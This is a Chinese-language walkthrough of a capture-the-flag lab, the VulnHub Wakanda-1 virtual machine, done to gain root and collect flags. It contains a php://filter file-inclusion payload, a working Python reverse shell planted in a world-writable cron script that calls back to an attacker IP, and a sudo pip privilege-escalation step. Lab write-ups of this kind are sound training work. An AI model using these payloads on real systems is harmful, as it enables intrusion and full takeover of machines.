打靶-Wakan_1

前言

靶机名称:Wakanda-1

下载地址:https://download.vulnhub.com/wakanda/wakanda-1.ova

操作系统:debian

渗透目标:获取root权限,取得三个flag

渗透过程

扫到靶机ip

1
arp-scan -l

image-20240617211014381

扫描开放端口

1
nmap -sV 192.168.31.124 -A

image-20240617211157909

开放了 80 111和3333端口 3333端口还是个ssh

目录扫描一下

image-20240617211610534

访问一下80

源代码发现image-20240617211649672

可以控制lang得知控制语言?lang=fr会变成法语

文件读取

1
?lang=php://filter/convert.base64-encode/resource=index

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}

?>



<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Vibranium market">
<meta name="author" content="mamadou">

<title>Vibranium Market</title>


<link href="bootstrap.css" rel="stylesheet">


<link href="cover.css" rel="stylesheet">
</head>

<body class="text-center">

<div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
<header class="masthead mb-auto">
<div class="inner">
<h3 class="masthead-brand">Vibranium Market</h3>
<nav class="nav nav-masthead justify-content-center">
<a class="nav-link active" href="#">Home</a>
<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
</nav>
</div>
</header>

<main role="main" class="inner cover">
<h1 class="cover-heading">Coming soon</h1>
<p class="lead">
<?php
if (isset($_GET['lang']))
{
echo $message;
}
else
{
?>

Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
<?php
}
?>
</p>
<p class="lead">
<a href="#" class="btn btn-lg btn-secondary">Learn more</a>
</p>
</main>

<footer class="mastfoot mt-auto">
<div class="inner">
<p>Made by<a href="#">@mamadou</a></p>
</div>
</footer>
</div>
</body></html>V&ëjx®.Æ«.ëG¢g.¢h§.Ê(.Æ.y¼¦jf.¢

带了个密码结合网站首页信息,ssh登录 Niamey4Ever227!!!

image-20240617211939308

1
ssh mamadou@192.168.31.124 -p 3333

image-20240617212231855

进来还是个python所以就先切换shell

1
2
3
import pty

pty.spawn("/bin/bash")

进来之后拿到flag1

image-20240617212353429

尝试find / -name “flag*”发现没权限

查看敏感信息

image-20240617212449829

发现一个devos用户

去看看

image-20240617212623657

想读发现没权限读

奇怪

发现在/tmp下有个test文件,时间为靶机执行之后的时间创建的,应该是靶机会自动创建test文件

image-20240617212757994

在/srv目录下发现了创建test文件的脚本

使用vi编辑器,编辑脚本,加上反弹shell的命令

antivirus.py文件是一个py简本,拥有者是devops,但是所有人都可以对他读写,所以修改脚本向脚本添加反向shell.有两种反向获取shell的方法

这里编辑改脚本使得反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#! /usr/bin/python

import os
import socket
import subprocess

def reverse_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.31.215", 999))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

if __name__ == "__main__":
open('/tmp/test', 'w').write('test')
reverse_shell()

没想到啊,昨天晚上等了十好几分钟弹不过来shell,今天一上号就弹过来了,好啊好啊

拿到flag2

image-20240618153437546

后面就是要得到root权限了

尝试提权 sudo -l image-20240618153519936

发现用户devops可无密码执行的sudo命令只有/usr/bin/pip。从来没有遇到这种情况,在网上搜索了好久,找到一种提权方法:fakepip exploit。具体的漏洞利用方法已写得很清楚。

改下ip和端口

image-20240618153748196

将该文件放在服务器上,在靶机上下载下来

之后 运行

1
sudo /usr/bin/pip install . --upgrade --force-reinstall

image-20240618154051807

成功,拿到flag

image-20240618154116263

总结

中间向靶机上上传文件的时候出了些差错,由于我用的攻击机是新下的,并没有什么nginx或者apache,加上最近下载源被污染,我直接在我vps上起了个http服务(配了域名,ip不好使了才起的http),后来反应过来可以再攻击机上起http。。。。。,害的腾讯云给我发短信说我vps上有危险文件还是,严重告警,难甭。。。